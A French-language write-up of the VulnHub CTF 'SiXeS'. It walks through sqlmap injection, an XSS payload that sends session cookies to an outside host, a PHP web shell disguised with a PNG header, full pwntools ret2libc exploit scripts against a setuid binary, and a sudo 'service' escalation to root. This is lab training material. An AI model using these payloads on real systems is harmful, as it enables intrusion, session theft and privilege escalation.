SiXeS est un CTF créé par Hafidh ZOUAHI et disponible sur VulnHub. Il est assez difficile, car il y a une exploitation de binaire moderne (c’est-à-dire ASLR
et NX
sont présents sur un binaire 64 bits).
Il est aussi un peu compliqué dans le sens où une vulnérabilité présente laisse supposer que l’on doit suivre un scénario très classique, mais il s’agit en réalité d’une impasse. Une autre vulnérabilité permet d’obtenir le même accès.
OnEs
La VM dispose de 3 ports ouverts :
1
2
3
4
5
6
7
Nmap scan report for 192.168.56.145
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Le serveur FTP accepte les connexions anonymes. On y trouve un fichier note.txt
avec le contenu suivant :
1
2
3
4
5
6
7
8
9
DONE:
- Develop the web application frontend and backend
- Add a firewall to block malicious tools
TODO:
- Hire a Pentester to secure the web application
- Buy food to my cat :3
shellmates{5c6b5e84ab3fa94257bdce66b9c1c200}
Le serveur web quant à lui délivre un site sur le thème de Team Fortress 2. C’est grosso modo un blog avec 3 entrées. Il y a aussi une page about, une page contact et une page de login Restricted Area.
Le site semble lent ce qui est en réalité probablement lié au firewall mentionné.
On peut lancer wapiti sur le site de cette façon :
1
wapiti -u http://192.168.56.145/ --color
Et on trouve une faille d’injection SQL :
1
2
3
4
5
6
7
8
9
10
11
12
13
[*] Launching module sql
---
SQL Injection in http://192.168.56.145/ via injection in the parameter id
Evil request:
GET /?page=post.php&id=1%20AND%2011%3D11%20AND%2034%3D34 HTTP/1.1
host: 192.168.56.145
connection: keep-alive
user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
accept-language: en-US
accept-encoding: gzip, deflate, br
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
cookie: PHPSESSID=phije36odt897s1tl7sq4hrorh
---
TwOeS
On peut sortir l’artillerie lourde pour extraire les données de la base, mais il faut prendre soin de spécifier un délai d’au moins une seconde entre chaque requête sans quoi le firewall nous mettra en échec.
L’option --string
de sqlmap
permet de définir quelle chaine de caractère doit être présente dans la page pour considérer que la requête correspond au booléen true
.
Ici amazing
est un mot qui n’apparait que dans le post numéro 3 du blog donc c’est un parfait candidat.
1
python sqlmap.py -u "http://192.168.56.145/?page=post.php&id=3" -p id --dbms mysql --risk 3 --level 5 --string amazing --delay 1
sqlmap
identifie bien la vulnérabilité boolean-based blind
et aussi le fait qu’il peut se servir du mot clé UNION
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=post.php&id=3 AND 6680=6680
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=post.php&id=3 AND (SELECT 4628 FROM (SELECT(SLEEP(5)))qsOs)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: page=post.php&id=-2943 UNION ALL SELECT NULL,NULL,CONCAT(0x716b706271,0x6d5063774644786f6748466b796e796843514b7071767977746b774a437a465543416e6a5344734e,0x71706b6271)-- -
---
[22:54:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
L’option --current-user
indique que les requêtes sont faites avec l’utilisateur root
. On peut donc extraire les hashes avec --passwords
.
1
2
3
4
5
6
7
8
9
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *2C079DA8224260B39D7D63F1701B47BB63126787
[*] mysql.session [1]:
password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[*] mysql.sys [1]:
password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[*] root [1]:
password hash: *AC0F97FFD5E98FD05553857CC0EA1125FD3D6761
On continue de dumper. Il y a trois tables dans la base courante :
1
2
3
4
5
6
7
Database: sixes
[3 tables]
+--------------------+
| articles |
| s3cr3t_t4ble_31337 |
| users |
+--------------------+
On trouve un autre flag :
1
2
3
4
5
6
7
8
Database: sixes
Table: s3cr3t_t4ble_31337
[1 entry]
+----------------------------------------------+
| flag |
+----------------------------------------------+
| shellmates{69f78fa6e9f49d180d145553ceecf87d} |
+----------------------------------------------+
Mais surtout le hash du compte webmaster
pour la zone authentifiée.
1
2
3
4
5
6
7
8
Database: sixes
Table: users
[1 entry]
+-------+-----------+----------------------------------+
| role | username | password |
+-------+-----------+----------------------------------+
| admin | webmaster | c78180d394684c07d6d87b291d8fe533 |
+-------+-----------+----------------------------------+
Malheureusement aucun des hashes n’est trouvé sur crackstation.
J’ai tenté de casser ce hash MD5 avec JtR et la wordlist rockyou sans succès. J’ai aussi essayé des dérivés de hashage (du type double ou triple hashage MD5) mais ça n’a mené nulle part.
TrEeS
La page contact.php
indique que l’on peut soumettre un feedback pour signaler une page du site défectueuse et que la team derrière le site va regarder ça rapidement. Ça sent donc la simulation de XSS.
J’ai créé la page HTML suivante :
1
2
3
<html>
<body>
<script>var img = document.createElement("img"); img.src = "http://192.168.56.1:7777/?" + encodeURI(document.cookie); document.body.appendChild(img);</script>
Puis j’ai rempli le formulaire :
Il n’a pas fallu longtemps avec d’avoir un retour :
1
2
3
4
$ python3 -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
192.168.56.145 - - [30/Mar/2023 22:23:04] "GET / HTTP/1.1" 200 -
192.168.56.145 - - [30/Mar/2023 22:23:05] "GET /?PHPSESSID=1gg9pj4c487nr2pame21r7uksa HTTP/1.1" 200 -
J’utilise l’extension EditThisCookie
dans Chrome qui fait largement le job. Une fois le cookie injecté dans le navigateur je peux me rendre sur la page admin.php
.
FoUrEs
Cette page est un simple formulaire d’upload. Sans trop de surprises si on tente d’uploader directement du PHP on obtient un message d’erreur :
File not allowed. Only jpeg, jpg and png are allowed.
J’utilise ma méthode habituelle qui consiste juste à placer un entête PNG avant le shell PHP :
1
echo -e '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00<?php system($_GET["cmd"]); ?>' > shell.php
Cette fois l’upload est accepté et je peux rapatrier mes outils habituels pour continuer l’exploration.
Je note la présence du compte webmaster
:
1
webmaster:x:1000:1000:0x000c0ded:/home/webmaster:/bin/bash
Il dispose de différents fichiers, mais en particulier un binaire setuid nommé notemaker
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@sixes:/var/www/html$ find / -user webmaster -type f -ls 2> /dev/null
407356 4 -rw------- 1 webmaster webmaster 43 Oct 3 2019 /home/webmaster/.lesshst
413951 4 -r-------- 1 webmaster webmaster 45 Oct 4 2019 /home/webmaster/user.txt
407195 4 -rw-rw-r-- 1 webmaster webmaster 75 Oct 3 2019 /home/webmaster/.selected_editor
407357 4 -rw------- 1 webmaster webmaster 377 Mar 29 08:57 /home/webmaster/notes.txt
407035 4 -rw-r--r-- 1 webmaster webmaster 807 Apr 4 2018 /home/webmaster/.profile
413913 16 -rw------- 1 webmaster webmaster 14748 Oct 5 2019 /home/webmaster/.viminfo
407036 4 -rw-r--r-- 1 webmaster webmaster 220 Apr 4 2018 /home/webmaster/.bash_logout
407037 4 -rw-r--r-- 1 webmaster webmaster 3771 Apr 4 2018 /home/webmaster/.bashrc
628 20 -r-sr-sr-x 1 webmaster webmaster 17320 Oct 3 2019 /sbin/notemaker
157099 4 -rw-rw-r-- 1 webmaster webmaster 3242 Oct 5 2019 /var/www/html/contact.php
134353 4 -rw-rw-r-- 1 webmaster webmaster 1390 Oct 4 2019 /var/www/html/post.php
131615 4 -rw-rw-r-- 1 webmaster webmaster 3727 Oct 4 2019 /var/www/html/home.php
134358 4 -rw-rw-r-- 1 webmaster webmaster 2987 Oct 4 2019 /var/www/html/index.php
157100 4 -rw-rw-r-- 1 webmaster webmaster 2897 Mar 29 08:40 /var/www/html/admin.php
134356 4 -rw-rw-r-- 1 webmaster webmaster 1271 Oct 4 2019 /var/www/html/about.php
131601 4 -rw-rw-r-- 1 webmaster webmaster 119 Oct 4 2019 /var/www/html/config.php
FiVeS
Sans trop de surprises le programme est vulnérable à un stack overflow :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@sixes:/var/www/html$ /sbin/notemaker
.---------------- Simple Note Maker v1.0 ----------------.
| |
| Use this program to leave me some notes, and I'll |
| check them when I'm free! |
| (Because I'm a busy webmaster, hehe) |
| Also, keep your notes below 256 bytes so I can easily |
| Read them :) |
| - 0x000c0ded, your webmaster. |
`--------------------------------------------------------'
Start typing >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
www-data@sixes:/var/www/html$ dmesg | tail -2
[ 1691.094414] traps: notemaker[2441] trap invalid opcode ip:401401 sp:7ffdd8655690 error:0 in notemaker[401000+1000]
[ 1717.094451] notemaker[2446]: segfault at 41414141 ip 0000000041414141 sp 00007ffe906b14f0 error 14 in libc-2.27.so[7f040bd12000+1e7000]
Comme dit en intro le binaire dispose du flag NX
donc on ne peut pas bêtement faire exécuter un shellcode sur la stack. On va par conséquent faire du Return Oriented Programming mais comme l’ASLR
est actif il faut d’abord que l’on fasse fuiter l’adresse d’une fonction de la libc. Cette adresse nous permettra alors de calculer l’adresse de la fonction system
car la distance entre deux fonctions de la libc ne change pas.
gdb
n’est pas présent sur la VM donc tous les préparatifs sont à effectuer d’abord en local.
Je récupère d’abord l’adresse de puts
ainsi que son entrée dans la GOT
:
1
2
3
4
5
gdb-peda$ p puts
$1 = {<text variable, no debug info>} 0x401050 <puts@plt>
gdb-peda$ x/2i 0x401050
0x401050 <puts@plt>: jmp QWORD PTR [rip+0x2fd2] # 0x404028 <puts@got[plt]>
0x401056 <puts@plt+6>: push 0x2
À l’exécution, l’adresse dans la GOT
(0x404028
) contiendra la véritable adresse de puts
une fois que le loader aura chargé la libc. L’adresse 0x401050
peut être considérée comme une sorte de shortcut.
Notre objectif est de faire exécuter puts(puts@got[plt])
pour faire afficher l’adresse à l’écran.
Toutefois, on ne peut pas simplement placer les deux adresses dans un payload comme on l’aurait fait en 32 bits :
1
2
from struct import pack
open("/tmp/input", "wb").write(b"A" * 280 + pack("<qq", 0x401050, 0x404028))
En effet, la convention d’appel des fonctions en x86_64
requiert que le premier argument soit stocké dans le registre rdi
.
Dans le binaire, on peut trouver (via ROPgadget
) l’instruction suivante :
1
0x00000000004014eb : pop rdi ; ret
On va fonc écraser l’adresse de retour par celle du gadget qui récupérera l’argument sur la stack (puts@got[plt]
) et sautera sur l’adresse de puts
qu’on aura placé ensuite, donc :
1
AAAAAAAA... 0x4014eb 0x404028 0x401050
Une fois qu’on aura lu l’adresse depuis la sortie du programme il faut donc calculer les adresses nécessaires (system
et /bin/sh
) à un nouveau ROP et les redonner au binaire dans le même flot d’exécution…
Comment ? Une technique souvent employée et de forcer le programme à revenir à la première instruction du main
. On peut alors abuser du même stack overflow une seconde fois pour la charge finale.
On peut déjà tester cette partie en générant les octets à envoyer :
1
2
from struct import pack
open("/tmp/input", "wb").write(b"A" * 280 + pack("<qqqq", 0x4014eb, 0x404028, 0x401050, 0x401370))
Et on note bien la double exécution :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ cat input | ./notemaker
.---------------- Simple Note Maker v1.0 ----------------.
| |
| Use this program to leave me some notes, and I'll |
| check them when I'm free! |
| (Because I'm a busy webmaster, hehe) |
| Also, keep your notes below 256 bytes so I can easily |
| Read them :) |
| - 0x000c0ded, your webmaster. |
`--------------------------------------------------------'
Start typing >> ��
�
.---------------- Simple Note Maker v1.0 ----------------.
| |
| Use this program to leave me some notes, and I'll |
| check them when I'm free! |
| (Because I'm a busy webmaster, hehe) |
| Also, keep your notes below 256 bytes so I can easily |
| Read them :) |
| - 0x000c0ded, your webmaster. |
`--------------------------------------------------------'
Start typing >> [+] Your note has been saved! Thank you :d
Erreur de segmentation (core dumped)
On voit des caractères étranges dans l’output qui correspondent à l’adresse de puts
de la libc que l’on fait fuiter.
Lire les octets depuis le pty
est compliqué, mais pas impossible (voir Solution du CTF Xerxes 2.
Je ne souhaite toutefois pas remettre les pieds dans cette technique et une bonne solution pour éviter les problèmes de bufferisation consiste à faire passer les entrées/sorties du programme sur le réseau. On le lancera donc de cette façon :
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/sbin/notemaker 2>&1|nc -lp 31337 >/tmp/f
Avantages :
le binaire n’est pas lancé depuis le débogueur donc pas de corrections à faire dû à un environnement qui change (en contrepartie il faut s’attacher au process pour déboguer).
l’exploitation locale sera en tout point identique à celle sur la VM sauf que les adresses mémoires seront calculées autrement.
D’ailleurs, en parlant d’adresses, on peut obtenir les offsets des fonctions de la libc de cette façon (ici sur ma machine) :
1
2
3
$ nm /usr/lib64/libc.so.6
0000000000079e9e W puts
000000000004f2ee W system
Et sur la VM la commande change un peu :
1
2
3
$ nm -D /lib/x86_64-linux-gnu/libc-2.27.so
00000000000809c0 W puts
000000000004f440 W system
Bien sûr j’ai tronqué l’output qui est bien plus important.
Et pour obtenir l’adresse de /bin/sh
(l’adresse sera différente sur la libc de la VM) :
1
2
$ strings -t x -a /lib64/libc.so.6 | grep "/bin/sh"
1a8060 /bin/sh
J’ai écrit l’exploit suivant qui utilise pwntools
pour faciliter la partie réseau :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import sys
from struct import pack, unpack
from pwnlib.tubes.remote import remote
ip = "127.0.0.1"
port = 31337
PUTS_OFFSET = 0x79e9e
SYSTEM_OFFSET = 0x4f2ee
BIN_SH_OFFSET = 0x1a8060
POP_RDI = 0x4014eb # pop rdi ; ret
PUTS = 0x401050
PUTS_PLT = 0x404028
MAIN = 0x401370
buffer = b"A" * 280
buffer += pack("<q", POP_RDI)
buffer += pack("<q", PUTS_PLT)
buffer += pack("<q", PUTS)
buffer += pack("<q", MAIN)
r = remote(ip, port)
r.recvuntil(b"Start typing >>")
r.send(buffer + b"\n")
data = r.recvuntil(b"\n.---------------- Simple Note Maker v1.0 ----------------.\n")
puts_libc = unpack("<q", data[1:7].ljust(8, b"\x00"))[0]
print("Got puts@libc address:", hex(puts_libc))
base_libc = puts_libc - PUTS_OFFSET
system_libc = base_libc + SYSTEM_OFFSET
sh_libc = base_libc + BIN_SH_OFFSET
print("Got system@libc address:", hex(system_libc))
print("Got /bin/sh@libc address:", hex(sh_libc))
r.recvuntil(b"Start typing >>")
input("enter to continue")
buffer = b"A" * 280
buffer += pack("<q", POP_RDI)
buffer += pack("<q", sh_libc)
buffer += pack("<q", system_libc)
r.send(buffer + b"\n")
r.interactive()
r.close()
Seulement à l’exécution… c’est le crash. Et à un emplacement inattendu :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
gdb-peda$ c
Continuing.
[Attaching after Thread 0x7f2692f06740 (LWP 8830) vfork to child process 8885]
[New inferior 2 (process 8885)]
[Thread debugging using libthread_db enabled]
[----------------------------------registers-----------------------------------]
RAX: 0x7fa606fb58c0 --> 0x7ffdebe76918 --> 0x7ffdebe77f20 ("SHELL=/bin/bash")
RBX: 0x7ffdebe76668 --> 0xc ('\x0c')
RCX: 0x7ffdebe76668 --> 0xc ('\x0c')
RDX: 0x0
RSI: 0x7fa606f6a060 --> 0x68732f6e69622f ('/bin/sh')
RDI: 0x7ffdebe76464 --> 0x0
RBP: 0x7ffdebe764c8 --> 0x0
RSP: 0x7ffdebe76458 --> 0x0
RIP: 0x7fa606e10fb3 (<do_system+341>: movaps XMMWORD PTR [rsp+0x50],xmm0)
R8 : 0x7ffdebe764a8 --> 0x10972c0 --> 0x1097
R9 : 0x7ffdebe76918 --> 0x7ffdebe77f20 ("SHELL=/bin/bash")
R10: 0x8
R11: 0x246
R12: 0x7fa606f6a060 --> 0x68732f6e69622f ('/bin/sh')
R13: 0x7ffdebe76918 --> 0x7ffdebe77f20 ("SHELL=/bin/bash")
R14: 0x0
R15: 0x7fa607012000 --> 0x7fa606fdc000 --> 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fa606e10fa4 <do_system+326>: mov QWORD PTR [rsp+0x60],r12
0x7fa606e10fa9 <do_system+331>: mov r9,QWORD PTR [rax]
0x7fa606e10fac <do_system+334>: lea rsi,[rip+0x1590ad] # 0x7fa606f6a060
=> 0x7fa606e10fb3 <do_system+341>: movaps XMMWORD PTR [rsp+0x50],xmm0
0x7fa606e10fb8 <do_system+346>: mov QWORD PTR [rsp+0x68],0x0
0x7fa606e10fc1 <do_system+355>: call 0x7fa606ec2dce <posix_spawn@@GLIBC_2.15>
0x7fa606e10fc6 <do_system+360>: mov rdi,rbx
0x7fa606e10fc9 <do_system+363>: mov r12d,eax
[------------------------------------stack-------------------------------------]
0000| 0x7ffdebe76458 --> 0x0
0008| 0x7ffdebe76460 --> 0xffffffff
0016| 0x7ffdebe76468 --> 0x0
0024| 0x7ffdebe76470 --> 0x0
0032| 0x7ffdebe76478 --> 0x7fa606e690c2 (<__strstr_generic+68>: mov r13,rax)
0040| 0x7ffdebe76480 --> 0x1099d22 --> 0x0
0048| 0x7ffdebe76488 --> 0x1099d22 --> 0x0
0056| 0x7ffdebe76490 --> 0x109abf0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fa606e10fb3 in do_system () from /lib64/libc.so.6
Donc on voit qu’on est bien entré dans system
et même qu’un fork (New inferior
) a eu lieu en revanche l’exécution de bash s’est terminé à cause d’une instruction movaps
.
En cherchant un peu sur le web, on découvre que c’est un problème connu pour l’exploitation de binaire qui vient du fait que l’instruction movaps
veut que rsp
soit aligné sur une adresse multiple de 16 octets :
Par conséquent, au lieu d’utiliser un gadget pop-ret
comme je le faisais je vais employer un gadget pop-pop-ret
qui va décaler rsp
de 8 octets supplémentaires et sera du coup un multiple de 16 (j’avais une chance sur deux de tomber juste).
Il n’y a pas de gadget pour pop rdi ; pop <reg> ; ret
dans le binaire, mais il y a un pop rdi ; pop rbp ; ret
présent dans ma libc et celle de la VM. Il faut juste penser à calculer l’adresse comme on le fait pour system
et /bin/sh
.
L’exploit final est le suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import sys
from struct import pack, unpack
from pwnlib.tubes.remote import remote
if sys.argv[1] == "local":
ip = "127.0.0.1"
port = 31337
PUTS_OFFSET = 0x79e9e
SYSTEM_OFFSET = 0x4f2ee
BIN_SH_OFFSET = 0x1a8060
# prevent crash in do_system
POP_RDI_RBP_OFFSET = 0x284a2 # pop rdi ; pop rbp ; ret
else:
ip = "192.168.56.145"
port = 31337
PUTS_OFFSET = 0x809c0
SYSTEM_OFFSET = 0x4f440
BIN_SH_OFFSET = 0x1b3e9a
# prevent crash in do_system
POP_RDI_RBP_OFFSET = 0x221a3 # pop rdi ; pop rbp ; ret
POP_RDI = 0x4014eb # pop rdi ; ret
PUTS = 0x401050
PUTS_PLT = 0x404028
MAIN = 0x401370
buffer = b"A" * 280
buffer += pack("<q", POP_RDI)
buffer += pack("<q", PUTS_PLT)
buffer += pack("<q", PUTS)
buffer += pack("<q", MAIN)
r = remote(ip, port)
r.recvuntil(b"Start typing >>")
r.send(buffer + b"\n")
data = r.recvuntil(b"\n.---------------- Simple Note Maker v1.0 ----------------.\n")
puts_libc = unpack("<q", data[1:7].ljust(8, b"\x00"))[0]
print("Got puts@libc address:", hex(puts_libc))
base_libc = puts_libc - PUTS_OFFSET
system_libc = base_libc + SYSTEM_OFFSET
sh_libc = base_libc + BIN_SH_OFFSET
print("Got system@libc address:", hex(system_libc))
print("Got /bin/sh@libc address:", hex(sh_libc))
r.recvuntil(b"Start typing >>")
# input("enter to continue")
buffer = b"A" * 280
buffer += pack("<q", base_libc + POP_RDI_RBP_OFFSET)
buffer += pack("<q", sh_libc)
buffer += pack("<q", 0xdeadbeef)
buffer += pack("<q", system_libc)
r.send(buffer + b"\n")
r.interactive()
r.close()
Et ça fonctionne :
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 exploit.py remote
Got puts@libc address: 0x7f9de966d9c0
Got system@libc address: 0x7f9de963c440
Got /bin/sh@libc address: 0x7f9de97a0e9a
id
uid=1000(webmaster) gid=1000(webmaster) groups=1000(webmaster),33(www-data)
cd /home/webmaster
ls
low_user.txt
notes.txt
user.txt
cat user.txt
shellmates{96a683b3d9aa80d53066eea68995f317}
SiXeS
Je ne m’éternise pas sur ce shell, je m’empresse de rajouter une entrée à authorized_keys
, puis je me connecte au compte. L’utilisateur peut lancer la commande service
avec les droits root :
1
2
3
4
5
6
7
8
9
www-data@sixes:/var/www/html/$ ssh -i /tmp/key_no_pass webmaster@127.0.0.1
Could not create directory '/var/www/.ssh'.
webmaster@sixes:~$ sudo -l
Matching Defaults entries for webmaster on sixes:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webmaster may run the following commands on sixes:
(root) NOPASSWD: /usr/sbin/service
Il y a un GTFObin pour le programme que l’on a déjà exploité sur le CTF Five86-2.
1
2
3
4
5
6
7
8
webmaster@sixes:~$ sudo /usr/sbin/service ../../bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
firewall root.txt xss_simulator
# cat root.txt
shellmates{fa7b27528914d9ca504c9c281648c418}
Making-of
Voici quelques scripts tirés du CTF. D’abord le firewall qui est un script qui lit les lignes de log d’Apache et DROP les paquets des IPs émettant trop de requêtes sur un laps de temps choisit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/bash
# Author: ZOUAHI Hafidh (0x000c0ded)
# A simple home made firewall to block the usage of
# automated tools during CTFs, such as SQLmap,
# Dirbuster, and other bruteforcing tools.
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
this_ip="$(ifconfig enp0s3 | awk '/inet / {print $2}' | tr -d '\n')"
path="/root/firewall/logs"
log_file="/root/firewall/firewall.log"
banned_ips=""
last_unban="$(date +%s)"
unban_interval=60
n_req=15
n_sec=3
rm -f $log_file
rm -r $path
mkdir $path
> /var/log/apache2/access.log
tail -f /var/log/apache2/access.log | while read line; do
# Check if 60 seconds have passed since the last unban
curr_time="$(date +%s)"
if [[ "$((curr_time - last_unban))" -ge "$unban_interval" ]]; then
iptables -F INPUT
[ -z "$banned_ips" ] || echo "~-> $(date '+%Y:%m:%d %H:%M:%S'): Unbanning $banned_ips" >> $log_file
banned_ips=""
last_unban="$curr_time"
fi
ip_addr=$(echo "$line" | cut -d ' ' -f1)
timestamp=$(date --date="$(echo "$line" | tr ' ' ':' | cut -d ':' -f5-7)" +%s)
if [[ ! "$banned_ips" =~ "$ip_addr" ]] && test -f "$path/$ip_addr"; then
req_num=$(cat "$path/$ip_addr" | cut -d ' ' -f1)
req_num=$((req_num + 1))
old_timestamp=$(cat "$path/$ip_addr" | cut -d ' ' -f2)
# Check if at least $n_req requests were made within $n_sec seconds
if [ "$ip_addr" != "$this_ip" ] && [[ "$((timestamp - old_timestamp))" -le $n_sec ]] && [[ $req_num -ge $n_req ]]; then
# Ban this IP if it's not our IP
iptables -A INPUT -s "$ip_addr" -p tcp --dport 80 -j DROP
echo "~-> $(date '+%Y:%m:%d %H:%M:%S'): Banned $ip_addr for up to 60 seconds." >> $log_file
banned_ips="${banned_ips}$ip_addr "
rm "$path/$ip_addr"
elif [[ "$((timestamp - old_timestamp))" -gt $n_sec ]] && [[ $req_num -lt $n_req ]]; then
# Reset counters
echo -n "1 $timestamp" > "$path/$ip_addr"
else
# Update counters
echo -n "$req_num $old_timestamp" > "$path/$ip_addr"
fi
else
# Create the file for the first time
echo -n "1 $timestamp" > "$path/$ip_addr"
fi
done
Ensuite on a le script qui simule un utilisateur pour la faille XSS (chromium
+ pyppeteer
) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
import requests
import asyncio
import sys
from pyppeteer import launch
url = 'http://127.0.0.1/admin.php'
user = 'webmaster'
pswd = '6a1eE8X81t3uwsiKqrT5Atf38tkCS6Eh'
data = {'login': user, 'password': pswd}
response = requests.post(url=url, data=data)
cookie = response.request.headers['Cookie'].split('=')
urls = [i.strip() for i in open('/root/xss_simulator/urls.txt').readlines()]
async def main():
browser = await launch({"executablePath":"/usr/bin/chromium-browser"}, args=['--no-sandbox'])
page = await browser.newPage()
for url in urls:
await page.setCookie({'url': url, 'name': cookie[0], 'value': cookie[1]})
await page.goto(url)
await asyncio.sleep(10)
await browser.close()
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
loop.close()
Et finalement les quelques lignes de la crontab de root :
1
2
3
4
* * * * * echo "MjAxOS0xMC0wMiAyMTowODowNSB+LT4gcm9vdCBzYWlkOiBIZXkgd2VibWFzdGVyLCBpbiBjYXNlIHRoZSB3ZWIgc2VydmVyIGdvZXMgZG93biwgSSBnYXZlIHlvdSBzb21lIHByaXZpbGVnZXMgc28geW91IGNhbiBzdGFydC9zdG9wL3Jlc3RhcnQgaXQgd2hlbmV2ZXIgeW91IHdhbnQuIENoZWVycy4KMjAxOS0xMC0wMiAyMTowODozMyB+LT4gcm9vdCBzYWlkOiBIZXkgYWdhaW4sIGhvdyBtYW55IHRpbWVzIHNob3VsZCBJIHJlcGVhdCB0aGF0IFlPVSBTSE9VTEQgTkVWRVIgVVNFIEdFVFM/IFNlcmlvdXNseSwgZXZlbiB0aGUgY29tcGlsZXIgcmVtaW5kcyB5b3UuLi4gR28gZml4IGl0IG5vdyBvciBJJ2xsIGRlbGV0ZSB5b3VyIG1pbmVjcmFmdCBhY2NvdW50Lgo=" | base64 -d > /home/webmaster/notes.txt && chown webmaster /home/webmaster/notes.txt && chgrp webmaster /home/webmaster/notes.txt && chmod 600 /home/webmaster/notes.txt
* * * * * [ -z "$(pgrep firewall.sh)" ] && /root/firewall/firewall.sh
* * * * * /usr/bin/curl http://localhost/
* * * * * [ -f /var/www/html/img/Sp3c1al_d3l1V3ry.txt ] && /bin/cp /var/www/html/img/Sp3c1al_d3l1V3ry.txt /root/xss_simulator/urls.txt && /bin/rm -f /var/www/html/img/Sp3c1al_d3l1V3ry.txt && /root/xss_simulator/xss_trigger.py && /bin/rm /root/xss_simulator/urls.txt
C’était un CTF intéressant où j’ai découvert comment passer outre le sigsev sur movaps
.